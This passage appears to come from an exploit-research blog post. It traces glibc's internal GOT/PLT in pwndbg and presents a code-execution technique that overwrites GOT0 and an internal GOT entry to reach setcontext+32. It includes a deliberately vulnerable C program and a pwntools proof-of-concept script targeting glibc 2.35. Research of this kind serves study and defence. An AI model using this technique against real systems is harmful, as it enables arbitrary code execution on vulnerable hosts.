The watchpoint is triggered near the dynamic resolver code:
0x7ffff7fd68ad test edx, edx
0x7ffff7fd68af jne 0x7ffff7fd68b4 <0x7ffff7fd68b4>
► 0x7ffff7fd68b1 mov qword ptr [r14], rax [printf@got[plt]] <= 0x7ffff7e29550 (printf) ◂— sub rsp, 0xd8
0x7ffff7fd68b4 lea rsp, [rbp - 0x28] RSP => 0x7fffffffd248 —▸ 0x7fffffffd640 —▸ 0x7fffffffd788 ◂— ...
0x7ffff7fd68b8 pop rbx RBX => 0x7fffffffd640
At 0x7ffff7fd68b1
, the resolved address (rax
) is written into [r14]
, where r14
points to the GOT entry for printf
, namely printf@got[plt]
(.got.plt.printf
):
pwndbg> set $lastpc = $pc
pwndbg> si
pwndbg> x/i $lastpc
0x7ffff7fd68b1: mov QWORD PTR [r14],rax
pwndbg> x/gx 0x404000
0x404000 <printf@got[plt]>: 0x00007ffff7e29550
pwndbg> tel 0x7ffff7e29550
00:0000│ rax r11 0x7ffff7e29550 (printf) ◂— sub rsp, 0xd8
01:0008│ 0x7ffff7e29558 (printf+8) ◂— mov dword ptr [rsp + 0x28], esi
02:0010│ 0x7ffff7e29560 (printf+16) ◂— xor byte ptr [rax - 0x77], cl
We are now at the real libc printf code — printf()
function from /libc.so.6
.
Ordinarily, a discussion on GOT ends here—once the dynamic linker patches the entry and control flows cleanly into glibc.
But not in our case.
This is where the real hunt begins.
In our setup, we deal with two distinct
_GLOBAL_OFFSET_TABLE_
instances:
- One anchored in the ELF binary—used for resolving external symbols like
printf
.- Another embedded within glibc itself—used internally by glibc's own machinery during function execution.
So instead of wrapping up after the GOT patching, we shift gears and dive into the internals of
printf()
, observing how it leverages its own GOT to reference auxiliary libc functions—this is where glibc's internal GOT becomes a new attack surface.
Part 2
As previously noted, we have two distinct _GLOBAL_OFFSET_TABLE_
symbols:
pwndbg> info variables _GLOBAL_OFFSET_TABLE_
All variables matching regular expression "_GLOBAL_OFFSET_TABLE_":
Non-debugging symbols:
0x0000000000403fe8 _GLOBAL_OFFSET_TABLE_
0x00007ffff7fadfe8 _GLOBAL_OFFSET_TABLE_
The second table resides in glibc's mapped memory region:
pwndbg> vmmap 0x7ffff7fadfe8
Start End Perm Size Offset File
0x7ffff7f53000 0x7ffff7faa000 r--p 57000 17e000 /opt/glibc-2.41/lib/libc.so.6
► 0x7ffff7faa000 0x7ffff7fae000 r--p 4000 1d4000 /opt/glibc-2.41/lib/libc.so.6 +0x3fe8
0x7ffff7fae000 0x7ffff7fb0000 rw-p 2000 1d8000 /opt/glibc-2.41/lib/libc.so.6
This confirms that glibc maintains its own GOT—mirroring the program's layout but scoped for internal resolution. The glibc GOT is populated with:
- Linker metadata (e.g., relocation support) at GOT0.
- Followingly, there're function pointers to optimized routines (
__memcpy_avx_unaligned_erms
,__strnlen_avx2
, etc.) at the GOT entries. - Occasionally, PLT stubs, until patched by the dynamic linker
Just like the binary's GOT, these entries start out unresolved or redirected to trampoline logic. On first execution, they're rewritten to jump directly to optimized libc functions.
Now let's dump the GOT starting from 0x7ffff7fadfe8
, which contains 57 entries in glibc 2.41:
pwndbg> tel 0x7ffff7fadfe8 60
00:0000│ 0x7ffff7fadfe8 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d8b40
01:0008│ 0x7ffff7fadff0 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbe090 —▸ 0x7ffff7dd5000 ◂— 0x3010102464c457f
02:0010│ 0x7ffff7fadff8 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8c60 ◂— endbr64
03:0018│ 0x7ffff7fae000 (*ABS*@got.plt) —▸ 0x7ffff7f2f8e0 (__strnlen_avx2) ◂— test rsi, rsi
04:0020│ 0x7ffff7fae008 (realloc@got[plt]) —▸ 0x7ffff7df9026 (realloc@plt+6) ◂— push 0 /* 'h' */
05:0028│ 0x7ffff7fae010 (*ABS*@got.plt) —▸ 0x7ffff7f2de80 (__strncasecmp_avx2) ◂— mov rax, qword ptr [rip + 0x800d1]
06:0030│ 0x7ffff7fae018 (*ABS*@got.plt) —▸ 0x7ffff7f2af70 (__mempcpy_avx_unaligned_erms) ◂— mov rax, rdi
07:0038│ 0x7ffff7fae020 (*ABS*@got.plt) —▸ 0x7ffff7e7bf90 (__wmemset_sse2_unaligned) ◂— shl rdx, 2
08:0040│ 0x7ffff7fae028 (calloc@got[plt]) —▸ 0x7ffff7df9066 (calloc@plt+6) ◂— push 1
09:0048│ 0x7ffff7fae030 (*ABS*@got.plt) —▸ 0x7ffff7f300c0 (__wcpncpy_avx2) ◂— dec rdx
0a:0050│ 0x7ffff7fae038 (*ABS*@got.plt) —▸ 0x7ffff7f4d3a0 (__strspn_sse42) ◂— cmp byte ptr [rsi], 0
0b:0058│ 0x7ffff7fae040 (*ABS*@got.plt) —▸ 0x7ffff7f2a5c0 (__memchr_avx2) ◂— test rdx, rdx
0c:0060│ 0x7ffff7fae048 (*ABS*@got.plt) —▸ 0x7ffff7f2afc0 (__memmove_avx_unaligned_erms) ◂— mov rax, rdi
0d:0068│ 0x7ffff7fae050 (*ABS*@got.plt) —▸ 0x7ffff7f32900 (__wmemchr_avx2) ◂— test rdx, rdx
0e:0070│ 0x7ffff7fae058 (*ABS*@got.plt) —▸ 0x7ffff7f2bcc0 (__stpcpy_avx2) ◂— vpxor xmm7, xmm7, xmm7
0f:0078│ 0x7ffff7fae060 (*ABS*@got.plt) —▸ 0x7ffff7f32bc0 (__wmemcmp_avx2_movbe) ◂— shl rdx, 2
10:0080│ 0x7ffff7fae068 ([email protected]) —▸ 0x7ffff7df90e6 (_dl_find_dso_for_object@plt+6) ◂— push 2
11:0088│ 0x7ffff7fae070 (*ABS*@got.plt) —▸ 0x7ffff7f2f440 (__strncpy_avx2) ◂— dec rdx
12:0090│ 0x7ffff7fae078 (*ABS*@got.plt) —▸ 0x7ffff7f2dd00 (__strlen_avx2) ◂— mov eax, edi
13:0098│ 0x7ffff7fae080 (*ABS*@got.plt) —▸ 0x7ffff7f30590 (__wcscat_avx2) ◂— vpxor xmm7, xmm7, xmm7
14:00a0│ 0x7ffff7fae088 (*ABS*@got.plt) —▸ 0x7ffff7f2c440 (__strcasecmp_l_avx2) ◂— mov rax, qword ptr [rdx]
15:00a8│ 0x7ffff7fae090 (*ABS*@got.plt) —▸ 0x7ffff7f2dad0 (__strcpy_avx2) ◂— vpxor xmm7, xmm7, xmm7
16:00b0│ 0x7ffff7fae098 (*ABS*@got.plt) —▸ 0x7ffff7f30880 (__wcschr_avx2) ◂— vmovd xmm0, esi
17:00b8│ 0x7ffff7fae0a0 ([email protected]) —▸ 0x7ffff7df9156 (_dl_deallocate_tls@plt+6) ◂— push 3
18:00c0│ 0x7ffff7fae0a8 ([email protected]) —▸ 0x7ffff7df9166 (__tls_get_addr@plt+6) ◂— push 4
19:00c8│ 0x7ffff7fae0b0 (*ABS*@got.plt) —▸ 0x7ffff7e7bf90 (__wmemset_sse2_unaligned) ◂— shl rdx, 2
1a:00d0│ 0x7ffff7fae0b8 (*ABS*@got.plt) —▸ 0x7ffff7f2a860 (__memcmp_avx2_movbe) ◂— cmp rdx, 0x20
1b:00d8│ 0x7ffff7fae0c0 (*ABS*@got.plt) —▸ 0x7ffff7f2d380 (__strchrnul_avx2) ◂— vmovd xmm0, esi
1c:00e0│ 0x7ffff7fae0c8 (*ABS*@got.plt) —▸ 0x7ffff7f2de90 (__strncasecmp_l_avx2) ◂— mov rax, qword ptr [rcx]
1d:00e8│ 0x7ffff7fae0d0 ([email protected]) —▸ 0x7ffff7df91b6 (_dl_signal_error@plt+6) ◂— push 5
1e:00f0│ 0x7ffff7fae0d8 ([email protected]) —▸ 0x7ffff7df91c6 (_dl_fatal_printf@plt+6) ◂— push 6
1f:00f8│ 0x7ffff7fae0e0 (*ABS*@got.plt) —▸ 0x7ffff7f2ce30 (__strcat_avx2) ◂— vpxor xmm7, xmm7, xmm7
20:0100│ 0x7ffff7fae0e8 (*ABS*@got.plt) —▸ 0x7ffff7f30fd0 (__wcscpy_avx2) ◂— vpxor xmm7, xmm7, xmm7
21:0108│ 0x7ffff7fae0f0 (*ABS*@got.plt) —▸ 0x7ffff7f4a700 (__strcspn_sse42) ◂— cmp byte ptr [rsi], 0
22:0110│ 0x7ffff7fae0f8 (*ABS*@got.plt) —▸ 0x7ffff7f2c430 (__strcasecmp_avx2) ◂— mov rax, qword ptr [rip + 0x81b21]
23:0118│ 0x7ffff7fae100 (*ABS*@got.plt) —▸ 0x7ffff7f2ede0 (__strncmp_avx2) ◂— cmp rdx, 1
24:0120│ 0x7ffff7fae108 (*ABS*@got.plt) —▸ 0x7ffff7f32900 (__wmemchr_avx2) ◂— test rdx, rdx
25:0128│ 0x7ffff7fae110 ([email protected]) —▸ 0x7ffff7df9236 (_dl_signal_exception@plt+6) ◂— push 7
26:0130│ 0x7ffff7fae118 (*ABS*@got.plt) —▸ 0x7ffff7f2bf40 (__stpncpy_avx2) ◂— dec rdx
27:0138│ 0x7ffff7fae120 (*ABS*@got.plt) —▸ 0x7ffff7f30ac0 (__wcscmp_avx2) ◂— vpxor xmm15, xmm15, xmm15
28:0140│ 0x7ffff7fae128 ([email protected]) —▸ 0x7ffff7df9266 (_dl_audit_symbind_alt@plt+6) ◂— push 8
29:0148│ 0x7ffff7fae130 (*ABS*@got.plt) —▸ 0x7ffff7f2fbb0 (__strrchr_avx2) ◂— vmovd xmm7, esi
2a:0150│ 0x7ffff7fae138 (*ABS*@got.plt) —▸ 0x7ffff7f2d140 (__strchr_avx2) ◂— vmovd xmm0, esi
2b:0158│ 0x7ffff7fae140 ([email protected]) —▸ 0x7ffff7df9296 (__tunable_is_initialized@plt+6) ◂— push 9 /* 'h\t' */
2c:0160│ 0x7ffff7fae148 (*ABS*@got.plt) —▸ 0x7ffff7f30880 (__wcschr_avx2) ◂— vmovd xmm0, esi
2d:0168│ 0x7ffff7fae150 (*ABS*@got.plt) —▸ 0x7ffff7f2afc0 (__memmove_avx_unaligned_erms) ◂— mov rax, rdi
2e:0170│ 0x7ffff7fae158 (*ABS*@got.plt) —▸ 0x7ffff7f31e80 (__wcsncpy_avx2) ◂— dec rdx
2f:0178│ 0x7ffff7fae160 ([email protected]) —▸ 0x7ffff7df92d6 (_dl_rtld_di_serinfo@plt+6) ◂— push 0xa /* 'h\n' */
30:0180│ 0x7ffff7fae168 (*ABS*@got.plt) —▸ 0x7ffff7f2b6c0 (__memrchr_avx2) ◂— test rdx, rdx
31:0188│ 0x7ffff7fae170 ([email protected]) —▸ 0x7ffff7df92f6 (_dl_allocate_tls@plt+6) ◂— push 0xb /* 'h\x0b' */
32:0190│ 0x7ffff7fae178 ([email protected]) —▸ 0x7ffff7fd9590 (__tunable_get_val) ◂— endbr64
33:0198│ 0x7ffff7fae180 (*ABS*@got.plt) —▸ 0x7ffff7f31200 (__wcslen_avx2) ◂— mov eax, edi
34:01a0│ 0x7ffff7fae188 (*ABS*@got.plt) —▸ 0x7ffff7f2b9c0 (__memset_avx2_unaligned_erms) ◂— vmovd xmm0, esi
35:01a8│ 0x7ffff7fae190 (*ABS*@got.plt) —▸ 0x7ffff7f322e0 (__wcsnlen_avx2) ◂— test rsi, rsi
36:01b0│ 0x7ffff7fae198 ([email protected]) —▸ 0x7ffff7df9346 (_dl_catch_exception@plt+6) ◂— push 0xd /* 'h\r' */
37:01b8│ 0x7ffff7fae1a0 (*ABS*@got.plt) —▸ 0x7ffff7f2d570 (__strcmp_avx2) ◂— vpxor xmm15, xmm15, xmm15
38:01c0│ 0x7ffff7fae1a8 ([email protected]) —▸ 0x7ffff7df9366 (_dl_allocate_tls_init@plt+6) ◂— push 0xe
39:01c8│ 0x7ffff7fae1b0 (*ABS*@got.plt) —▸ 0x7ffff7f4d2a0 (__strpbrk_sse42) ◂— cmp byte ptr [rsi], 0
3a:01d0│ 0x7ffff7fae1b8 ([email protected]) —▸ 0x7ffff7fde7e0 (_dl_audit_preinit) ◂— endbr64
3b:01d8│ 0x7ffff7fae1c0 (*ABS*@got.plt) —▸ 0x7ffff7f2f8e0 (__strnlen_avx2) ◂— test rsi, rsi
Most entries point either to optimized glibc functions (avx2
, sse2
versions) or to dynamic linker utilities (functions starting with _dl_*
). And we can tell:
- Some entries are already resolved (point to final function code like
__strnlen_avx2
,__memcmp_avx2
, etc.) - Some entries are not yet resolved (they still point into PLT stubs like
realloc@plt+6
,calloc@plt+6
).
Some examples:
Entry | Status | Why |
---|---|---|
__strnlen_avx2 | Already resolved | Fast string function |
__mempcpy_avx_unaligned_erms | Already resolved | Critical for memcpy |
realloc@got[plt] | Still points to realloc@plt+6 | Lazy resolve when realloc is first called |
_dl_signal_error@got[plt] | Still points to PLT | Only needed if there is a dynamic linking error |
When we call printf()
, it's not just a flat function—details can be referred to the post of House of Husk, which introduces how to pwn printf
with its internal calls.
In our case, after the GOT relocation completes, we step into the freshly resolved printf
—and this is where glibc's internal GOT takes over. The call graph unfolds cleanly:
#0 __strchrnul_avx2 ()
#1 __find_specmb (format="%d\n") at printf-parse.h:82
#2 __printf_buffer (format="%d\n") at vfprintf-internal.c:649
#3 __vfprintf_internal
#4 __printf
#5 main
Inside, __find_specmb
calls __strchrnul_avx2
, which is an internal optimized function inside glibc. AVX2 instructions are optimized for scanning memory blocks very fast — it processes 32 bytes at once instead of 1 byte at a time.
What's key here is that printf
doesn't invoke __strchrnul_avx2
directly. Instead, it jumps through a PLT stub (*ABS*+0xa0c70@plt
) embedded within glibc:
► 0x7ffff7df9190 <*ABS*+0xa0c70@plt> jmp qword ptr [rip + 0x1b4f2a] <__strchrnul_avx2>
↓
0x7ffff7f2d380 <__strchrnul_avx2> vmovd xmm0, esi
0x7ffff7f2d384 <__strchrnul_avx2+4> mov eax, edi EAX => 0x402004 ◂— 0x3b031b01000a6425 /* '%d\n' */
0x7ffff7f2d386 <__strchrnul_avx2+6> and eax, 0xfff EAX => 4 (0x402004 & 0xfff)
0x7ffff7f2d38b <__strchrnul_avx2+11> vpbroadcastb ymm0, xmm0
0x7ffff7f2d390 <__strchrnul_avx2+16> vpxor xmm1, xmm1, xmm1
0x7ffff7f2d394 <__strchrnul_avx2+20> cmp eax, 0xfe0
0x7ffff7f2d399 <__strchrnul_avx2+25> ja __strchrnul_avx2+432 <__strchrnul_avx2+432>
[...]
In our previous dump from glibc's _GLOBAL_OFFSET_TABLE_
, we saw this:
1b:00d8│ 0x7ffff7fae0c0 (*ABS*@got.plt) —▸ 0x7ffff7f2d380 (__strchrnul_avx2) ◂— vmovd xmm0, esi
Thus inside glibc, .got.plt
has a pointer to __strchrnul_avx2
, resolved and pointing to its real address 0x7ffff7f2d380
:
pwndbg> info address __strchrnul_avx2
Symbol "__strchrnul_avx2" is a function at address 0x7ffff7f2d380.
This clearly demonstrates that at runtime, libc functions such as printf
, strlen
, and others often invoke internal optimized routines—like __strchrnul_avx2
—indirectly through glibc's own GOT entries. This design enables flexible dispatching, efficient runtime resolution, and platform-specific optimizations (e.g., AVX2, SSE).
Crucially, it opens a door:
Hijacking glibc's internal GOT entries—such as the one for
__strchrnul_avx2
—grants arbitrary code execution, by rerouting internal libc control flow to an attacker-chosen address.
No need to tamper with userland hooks or weak binary protections—glibc becomes the pivot point. Once write access to its GOT is achieved (e.g., in glibc ≤2.38), even a single redirected pointer can trigger full compromise from within the fortress.
PoCs
In this section, I will dissect more details in PoC 1, building on insights from a stellar dissertation by Veritas—while stripping away repeated explanations in the rest of the PoCs.
Vuln Code
To start with, we can try to exploit this minimal vulnerable snippet:
#include <stdio.h>
#include <unistd.h>
int main() {
char *addr = 0;
size_t len = 0;
printf("%p\n", printf);
read(0, &addr, 8);
read(0, &len, 8);
read(0, addr, len);
printf("Printf executed!");
}
The logic is dangerously straightforward:
- The line
printf("%p\n", printf)
leaks the runtime address ofprintf
, giving us a libc base. - The triple
read()
sequence hands over:- A target address (
addr
) - A write length (
len
) - And a payload to be written into that address
- A target address (
This creates a textbook write-anywhere primitive—ideal for GOT overwrites.
Our goal is to use this write primitive to overwrite glibc GOT entry, achieving arbitrary code execution when glibc invokes that function.
PoC 1
For PoC 1, we execute the attack in a glibc 2.35 environment, confirmed with:
$ /usr/lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.4) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Setcontext+32
We previously introduced the setcontext
gadget—commonly used in ROP—in this post. Typically, the setcontext+61
gadget is used to pivot the stack and return to a controlled location via manipulation of the rdx
register.
Here, we use the setcontext+32
variant, which begins with a pop rdx
instruction:
pwndbg> disass setcontext
Dump of assembler code for function setcontext:
[...]
0x00007ffff7de1a00 <+32>: pop rdx
0x00007ffff7de1a01 <+33>: cmp rax,0xfffffffffffff001
0x00007ffff7de1a07 <+39>: jae 0x7ffff7de1b2f <setcontext+335>
0x00007ffff7de1a0d <+45>: mov rcx,QWORD PTR [rdx+0xe0]
0x00007ffff7de1a14 <+52>: fldenv [rcx]
0x00007ffff7de1a16 <+54>: ldmxcsr DWORD PTR [rdx+0x1c0]
0x00007ffff7de1a1d <+61>: mov rsp,QWORD PTR [rdx+0xa0]
0x00007ffff7de1a24 <+68>: mov rbx,QWORD PTR [rdx+0x80]
0x00007ffff7de1a2b <+75>: mov rbp,QWORD PTR [rdx+0x78]
0x00007ffff7de1a2f <+79>: mov r12,QWORD PTR [rdx+0x48]
0x00007ffff7de1a33 <+83>: mov r13,QWORD PTR [rdx+0x50]
0x00007ffff7de1a37 <+87>: mov r14,QWORD PTR [rdx+0x58]
0x00007ffff7de1a3b <+91>: mov r15,QWORD PTR [rdx+0x60]
0x00007ffff7de1a3f <+95>: test DWORD PTR fs:0x48,0x2
0x00007ffff7de1a4b <+107>: je 0x7ffff7de1b06 <setcontext+294>
[...fsb]
0x00007ffff7de1b06 <+294>: mov rcx,QWORD PTR [rdx+0xa8]
0x00007ffff7de1b0d <+301>: push rcx
0x00007ffff7de1b0e <+302>: mov rsi,QWORD PTR [rdx+0x70]
0x00007ffff7de1b12 <+306>: mov rdi,QWORD PTR [rdx+0x68]
0x00007ffff7de1b16 <+310>: mov rcx,QWORD PTR [rdx+0x98]
0x00007ffff7de1b1d <+317>: mov r8,QWORD PTR [rdx+0x28]
0x00007ffff7de1b21 <+321>: mov r9,QWORD PTR [rdx+0x30]
0x00007ffff7de1b25 <+325>: mov rdx,QWORD PTR [rdx+0x88]
0x00007ffff7de1b2c <+332>: xor eax,eax
0x00007ffff7de1b2e <+334>: ret
0x00007ffff7de1b2f <+335>: mov rcx,QWORD PTR [rip+0x1c52da] # 0x7ffff7fa6e10
0x00007ffff7de1b36 <+342>: neg eax
0x00007ffff7de1b38 <+344>: mov DWORD PTR fs:[rcx],eax
0x00007ffff7de1b3b <+347>: or rax,0xffffffffffffffff
0x00007ffff7de1b3f <+351>: ret
End of assembler dump.
Why this gadget is used will be explained in the next section when exploiting PLT0.
Inspection
As observed during our debugging session, the printf
implementation in glibc internally dispatches to the optimized __strchrnul_avx2
routine for parsing format strings. However, this call is not made directly—instead, glibc routes the control through its internal PLT stub, illustrated below:
► 0x7ffff7db64d0 <*ABS*+0xab010@plt> endbr64
0x7ffff7db64d4 <*ABS*+0xab010@plt+4> bnd jmp qword ptr [rip + 0x1f0bdd] <__strchrnul_avx2>
↓
0x7ffff7f2b600 <__strchrnul_avx2> endbr64
0x7ffff7f2b604 <__strchrnul_avx2+4> vmovd xmm0, esi
0x7ffff7f2b608 <__strchrnul_avx2+8> mov eax, edi
0x7ffff7f2b60a <__strchrnul_avx2+10> and eax, 0xfff
0x7ffff7f2b60f <__strchrnul_avx2+15> vpbroadcastb ymm0, xmm0
0x7ffff7f2b614 <__strchrnul_avx2+20> vpxor xmm9, xmm9, xmm9
0x7ffff7f2b619 <__strchrnul_avx2+25> cmp eax, 0xfe0
0x7ffff7f2b61e <__strchrnul_avx2+30> ja __strchrnul_avx2+464 <__strchrnul_avx2+464>
↓
0x7ffff7f2b7d0 <__strchrnul_avx2+464> mov rdx, rdi
The actual destination of __strchrnul_avx2
is resolved through GOT entry (_GLOBAL_OFFSET_TABLE_+0xb8
):
pwndbg> info variables _GLOBAL_OFFSET_TABLE_
All variables matching regular expression "_GLOBAL_OFFSET_TABLE_":
Non-debugging symbols:
0x0000555555557fe8 _GLOBAL_OFFSET_TABLE_
0x00007ffff7ffd000 _GLOBAL_OFFSET_TABLE_
0x00007ffff7fa7000 _GLOBAL_OFFSET_TABLE_
pwndbg> vmmap 0x00007ffff7fa7000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x7ffff7fa3000 0x7ffff7fa7000 r--p 4000 214000 /usr/lib/x86_64-linux-gnu/libc.so.6
► 0x7ffff7fa7000 0x7ffff7fa9000 rw-p 2000 218000 /usr/lib/x86_64-linux-gnu/libc.so.6 +0x0
0x7ffff7fa9000 0x7ffff7fb6000 rw-p d000 0 [anon_7ffff7fa9]
pwndbg> tel 0x7ffff7fa7000 60
00:0000│ 0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
01:0008│ 0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
02:0010│ 0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
[...]
17:00b8│ 0x7ffff7fa70b8 (*ABS*@got.plt) —▸ 0x7ffff7f2b600 (__strchrnul_avx2) ◂— endbr64
[...]
And critically, in glibc 2.35, the entire _GLOBAL_OFFSET_TABLE_
—including GOT0 and the following GOT entries—is writable:

Starting with glibc 2.36, the memory protection model changes: GOT0 is no longer writable, while individual GOT function entries remain writable.
This means the technique described below—relying on overwriting GOT0 for hijacking resolution paths—no longer applies in post-2.36 environments.
We will explore alternative approaches adapted to this constraint in a later section.
Therefore, the writable GOT in glibc can be leveraged in our attack!
We can examine the assembly code of glibc's PLT0 stub directly in GDB:
pwndbg> info files
Symbols from "/home/ctf/hacker/vuln".
Native process:
Using the running image of child Thread 0x7ffff7d8b740 (LWP 670).
While running this, GDB does not access memory from...
Local exec file:
`/home/ctf/hacker/vuln', file type elf64-x86-64.
Entry point: 0x555555555060
[...]
0x0000555555555020 - 0x0000555555555050 is .plt
[...]
0x00007ffff7db6000 - 0x00007ffff7db6370 is .plt in /lib/x86_64-linux-gnu/libc.so.6
[...]
pwndbg> x/2i 0x7ffff7db6000
0x7ffff7db6000: push QWORD PTR [rip+0x1f1002] # 0x7ffff7fa7008
0x7ffff7db6006: bnd jmp QWORD PTR [rip+0x1f1003] # 0x7ffff7fa7010
Here, 0x7ffff7db6000
is the first entry of the PLT table in glibc—known as PLT0. This stub handles lazy binding resolution for all internal glibc PLT calls.
As introduced in previous sections, [rip+0x1f1002]
and [rip+0x1f1003]
points to _GLOBAL_OFFSET_TABLE_+8
(pointer to resolver argument) and _GLOBAL_OFFSET_TABLE_+0x10
(pointer to _dl_runtime_resolve_xsavec
) respectively—if we hijack the memory locations in GOT0, we control the execution flow.
The PLT code snippet for libc looks different than the one for normal user binary (while their PLT0 logic is exactly the same).
PLT in normal user binary:
0000000000401030 <printf@plt>: jmp QWORD PTR [rip + 0x2fca] ; jumps to GOT entry push 0x0 ; relocation index jmp 0x401020 ; jump to PLT0
PLT in glibc:
pwndbg> x/6i 0x7ffff7db6000+0x4d0 0x7ffff7db64d0 <*ABS*+0xab010@plt>: endbr64 0x7ffff7db64d4 <*ABS*+0xab010@plt+4>: bnd jmp QWORD PTR [rip+0x1f0bdd] # 0x7ffff7fa70b8 <*ABS*@got.plt> 0x7ffff7db64db <*ABS*+0xab010@plt+11>: nop DWORD PTR [rax+rax*1+0x0]
Glibc's PLT entries do NOT jump to PLT0 like user binaries do — no
push
for relocation index; no fallback jump to a PLT0 stub. Because these are statically pre-resolved — either at load time or by prelinking (for internal functions).
The push
+ jmp
logic in PLT0 is exactly why we use the setcontext+32
gadget starting with pop rdx
—when PLT0 pushes _GLOBAL_OFFSET_TABLE_+8
onto the stack, we subsequently use the gadget to pop it into rdx
, eventually giving us control over execution flow.
Attack Chain
The full attack chain is:
- Overwrite
[email protected]
→ point toplt0
- Normally,
[email protected]
points to__strchrnul_avx2
. - Overwrite it to point to
PLT0
stub at.plt
(aka[email protected] = plt0_addr
). - So any indirect call to
strchrnul()
will instead enterplt0
.
- Normally,
- Hijack
_GLOBAL_OFFSET_TABLE_ + 0x10
→ point tosetcontext+32
_GLOBAL_OFFSET_TABLE_ + 0x10
normally points to_dl_runtime_resolve_xsavec
.- Overwrite this to point to
setcontext+32
, starting withpop rdx
.
- Overwrite
_GLOBAL_OFFSET_TABLE_ + 0x8
→ point to a fake context buffer- Normally, GOT+8 points to a resolver argument (a
link_map
structure?), which locates at a higher memory address than GOT entries. - Overwrite it to point to a fake
ucontext_t
in a writable memory region (e.g., unused buffer below.got.plt
).
- Normally, GOT+8 points to a resolver argument (a
- Prepare a fake context buffer at the controlled region
- This fake
ucontext_t
structure should populate:- Registers (
rdi
,rsi
, etc.) - Stack pointer (
rsp
) - Return address (
rip
) → shellcode, one_gadget, etc.
- Registers (
- The layout must match
setcontext()
expectations.
- This fake
- Trigger the attack by calling
printf()
printf()
internally usesstrchrnul()
(especially for format strings like%p
,%s
, etc.).- Since
[email protected]
was hijacked to point to PLT0, it will now:- Execute PLT0, which does:
push [GOT + 0x08]
: fake context address as argumentjmp [GOT + 0x10]
: executesetcontext+32
gadget
setcontext(fake_context)
→ RIP control achieved.
- Execute PLT0, which does:
Keywords: setcontext, ucontext_t, context buffer
1st,
setcontext()
is a libc function that restores a saved CPU context from aucontext_t
structure.It does:
- Loads saved registers (e.g.,
rip
,rsp
,rdi
,rsi
,rdx
,r12
,r13
, etc.)- Sets FPU/SIMD state
- Restores stack pointer and instruction pointer
- Resumes execution as if coming from that context
Used normally for user-level context switching, but attackers use it to jump to arbitrary code with full register control.
2nd,
ucontext_t
is a struct defined in<ucontext.h>
, containing:Ctypedef struct ucontext { unsigned long uc_flags; struct ucontext *uc_link; // not important for exploit sigset_t uc_sigmask; stack_t uc_stack; mcontext_t uc_mcontext; // <== holds all registers ... } ucontext_t;
Inside
uc_mcontext
, we'll find:Ctypedef struct { gregset_t gregs; fpregset_t fpregs; unsigned long long __reserved1[8]; } mcontext_t;
And
gregset_t
is usually an array:Ctypedef long greg_t; #define NGREG 23 typedef greg_t gregset_t[NGREG];
Registers like
RIP
,RSP
,RDI
, etc., are stored as elements ofuc_mcontext.gregs[]
— each register has a fixed index in that array.3rd, attackers craft a fake
ucontext_t
-like buffer in memory. Then we callsetcontext(fake_ptr)
, which restores all registers from this buffer:Cint setcontext(const ucontext_t *ucp);
PoC Script
Download: link
# Title : PoC for Hijacking glibc internal GOT/PLT to RCE
# Author : Axura
# Target : GLIBC 2.35-0ubuntu3.4 (Ubuntu 22.04)
# Website : https://4xura.com/pwn/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/
# Vuln script : https://github.com/4xura/pwn-libc-got/blob/main/demo/vuln.c
# Tags : PLT0, GOT0, writable _GLOBAL_OFFSET_TABLE_, setcontext
import sys
import inspect
from pwn import *
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delim, drop=True :p.recvuntil(delim, drop)
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64 = lambda data :u64(data.ljust(8, b"\0"))
def g(gdbscript: str = ""):
if mode["local"]:
gdb.attach(p, gdbscript=gdbscript)
elif mode["remote"]:
gdb.attach((remote_ip_addr, remote_port), gdbscript)
if gdbscript == "":
raw_input()
def pa(addr: int) -> None:
frame = inspect.currentframe().f_back
variables = {k: v for k, v in frame.f_locals.items() if v is addr}
desc = next(iter(variables.keys()), "unknown")
success(f"[LEAK] {desc} ---> {addr:#x}")
def create_ucontext(src: int, *, r8=0, r9=0, r12=0, r13=0, r14=0, r15=0,
rdi=0, rsi=0, rbp=0, rbx=0, rdx=0, rcx=0,
rsp=0, rip=0xdeadbeef) -> bytearray:
b = flat({
0x28: r8,
0x30: r9,
0x48: r12,
0x50: r13,
0x58: r14,
0x60: r15,
0x68: rdi,
0x70: rsi,
0x78: rbp,
0x80: rbx,
0x88: rdx,
0x98: rcx,
0xA0: rsp,
0xA8: rip, # ret ptr
0xE0: src, # fldenv ptr
0x1C0: 0x1F80, # ldmxcsr
}, filler=b'\0', word_size=64)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
"""int setcontext(const ucontext_t *ucp);"""
global GOT_ET_COUNT
got0 = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
pa(got0)
pa(plt0)
write_dest = got0 + 8
context_dest = write_dest + 0x10 + GOT_ET_COUNT * 8
write_data = flat(
context_dest, # _GLOBAL_OFFSET_TABLE_+8 -> ucontext_t *ucp
libc.sym.setcontext + 32, # _GLOBAL_OFFSET_TABLE_+16 -> setcontext+32 gadget
[plt0] * GOT_ET_COUNT,
create_ucontext(context_dest, rsp=libc.sym.environ+8, **kwargs),
)
return write_dest, write_data
